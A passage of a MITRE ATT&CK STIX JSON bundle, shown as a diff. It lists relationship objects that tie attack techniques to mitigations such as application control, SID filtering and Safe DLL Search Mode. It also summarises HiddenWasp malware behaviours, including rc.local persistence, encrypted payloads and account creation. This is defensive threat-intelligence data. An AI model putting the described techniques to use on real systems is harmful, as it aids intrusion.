"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:14:20.476Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0bb376d8-f73c-404f-a1bc-9a89c6b7a435", + "description": "Anti-virus can also automatically quarantine suspicious files.", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "modified": "2020-03-02T19:08:18.090Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:14:20.493Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2efc4972-6779-4a5c-a18a-db3c64623b8c", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "modified": "2020-03-02T19:08:18.088Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:14:20.495Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eb7829cd-ff2e-4dc5-87e7-9006327472e1", + "description": "Employ heuristic-based malware detection. Ensure updated virus definitions and create custom signatures for observed malware.", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "modified": "2020-02-05T14:18:21.931Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:20:24.073Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b9dcc8d0-11c5-4be1-a7a2-ab1b4e5c32a7", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented. ", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "modified": "2020-02-05T19:35:59.194Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:31:34.656Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e6a535c6-de5f-4bd2-8cfe-afbf232c1c5b", + "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "modified": "2020-02-05T19:35:59.203Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:31:34.660Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--994dd6b7-c209-41b4-af96-d9e9604043d4", + "description": "Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs.", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "modified": "2020-02-05T19:35:59.211Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:31:34.681Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54d2ea67-40fd-4fbc-b76a-01879aa5bff5", + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "modified": "2020-06-20T22:39:47.681Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:33:53.013Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6e7ec1a3-853f-40b5-8dc2-fc8d5b46b241", + "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (netdom trust /domain: /EnableSIDHistory:no on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (netdom trust /domain: /quarantine:yes on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "modified": "2020-02-18T18:35:21.842Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T11:48:11.099Z", + "external_references": [ + { + "url": "https://technet.microsoft.com/library/cc755321.aspx", + "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.", + "source_name": "Microsoft Trust Considerations Nov 2014" + }, + { + "source_name": "Microsoft SID Filtering Quarantining Jan 2009", + "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc794757.aspx" + }, + { + "source_name": "Microsoft Netdom Trust Sept 2012", + "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/cc835085.aspx" + }, + { + "url": "https://adsecurity.org/?p=1640", + "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.", + "source_name": "AdSecurity Kerberos GT Aug 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba8f0270-a378-4b78-9e67-8dbc70df1fb8", + "description": "Disable execution on directories within the webroot. Ensure proper permissions on directories that are accessible through a Web server.", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "modified": "2020-03-30T13:56:55.578Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:02:18.652Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23033ca9-166b-47c0-b6f5-c69926885927", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit unauthenticated network share access and network/system isolation", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "modified": "2020-03-30T13:56:55.574Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:02:18.668Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--58b119e2-9636-4446-93f1-f75468963935", + "description": "Disallow remote access to the webroot or other directories used to serve Web content.", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "modified": "2020-03-30T13:56:55.572Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:02:18.674Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a0a004fe-2636-4f6d-85c7-2401768252a2", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "modified": "2020-07-14T19:47:47.062Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:03:02.500Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "modified": "2021-10-15T22:43:31.135Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:06:10.358Z", + "external_references": [ + { + "source_name": "TechNet Firewall Design", + "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc700828.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7bdcd3e6-f741-4f62-9495-3111309adad8", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level.", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "modified": "2021-10-15T22:43:31.175Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:06:10.365Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbcf3820-85c9-4e09-a9a0-729fdfd11fd6", + "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.", + "target_ref": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", + "modified": "2020-02-05T20:09:23.054Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:06:41.416Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--38db9ff6-2f56-48cc-b42e-819c6bcca25b", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "target_ref": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", + "modified": "2020-03-19T15:12:13.285Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:10:26.797Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--07be2a52-df69-4d03-aca6-e3d136eefc04", + "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level.", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "modified": "2020-03-10T18:34:39.946Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:13:11.562Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2b59d554-377b-41f5-a991-70f5a4ff3f69", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "modified": "2020-01-24T17:35:47.840Z", + "source_ref": "course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:15:30.419Z", + "external_references": [ + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "modified": "2020-03-28T00:26:48.871Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T12:15:33.150Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f0e72e6-cac4-4840-b576-92a5105bda40", + "description": "Consider using Group Policy to configure and block additions/modifications to W32Time DLLs. (Citation: Microsoft W32Time May 2017)", + "target_ref": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", + "modified": "2020-01-24T16:48:51.325Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:02:09.329Z", + "external_references": [ + { + "source_name": "Microsoft W32Time May 2017", + "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.", + "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7ced0df2-1d05-40ea-986e-28692c028d92", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) installs reboot persistence by adding itself to /etc/rc.local.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", + "modified": "2021-01-07T19:40:45.120Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.195Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6df63b7-34af-4918-8d1d-cf3dad0287f8", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a cipher to implement a decoding function.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2019-07-06T22:20:35.197Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.215Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d13ea010-1b69-40d4-8d86-6fe2053f59d2", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) encrypts its configuration and payload.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-07-06T22:20:35.220Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.218Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a311f17e-9f17-4f4d-b316-d844c0a0f1d2", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a script to automate tasks on the victim's machine and to assist in execution.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2019-07-06T22:20:35.257Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.230Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--55b8f35b-7ccc-4da7-9ab1-40fe148cd182", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) communicates with a simple network protocol over TCP.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2019-07-06T22:20:35.261Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.241Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab", + "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.(Citation: Intezer HiddenWasp Map 2019)", + "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", + "modified": "2020-02-11T16:20:25.117Z", + "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-06-24T13:13:57.243Z", + "external_references": [ + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d036b6e1-08ad-4a3f-9b57-5e6780eb743c", + "description": "Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "modified": "2020-02-05T20:10:18.897Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:19:33.236Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02814b0e-0387-456e-9bac-ed30f419676f", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed.", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "modified": "2020-02-05T20:10:18.918Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:19:33.243Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a8d2bbc8-f52e-43dd-8ae4-6cdf3de79a9b", + "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "modified": "2020-03-19T15:09:22.390Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:34:32.334Z", + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fb988651-2bb4-4169-be8e-14ab9c8ef483", + "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "modified": "2020-03-19T15:09:22.388Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:35:27.794Z", + "external_references": [ + { + "source_name": "Microsoft DLL Preloading", + "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6a4e153-d0e1-4518-87ce-18cc0399be70", + "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application whitelisting solutions capable of blocking DLLs loaded by legitimate software.", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "modified": "2020-03-19T15:09:22.386Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:35:27.808Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47e2fc5c-3dab-411d-a402-0052d8e725d3", + "description": "Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2021-07-28T01:37:48.159Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:38:13.084Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d8a729c-3656-4b31-85c0-42b75001f913", + "description": "For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.\n\nScript blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "modified": "2021-07-28T01:37:48.157Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-24T13:38:13.109Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.(Citation: Windows Blogs Microsoft Edge Sandbox)(Citation: Ars Technica Pwn2Own 2017 VM 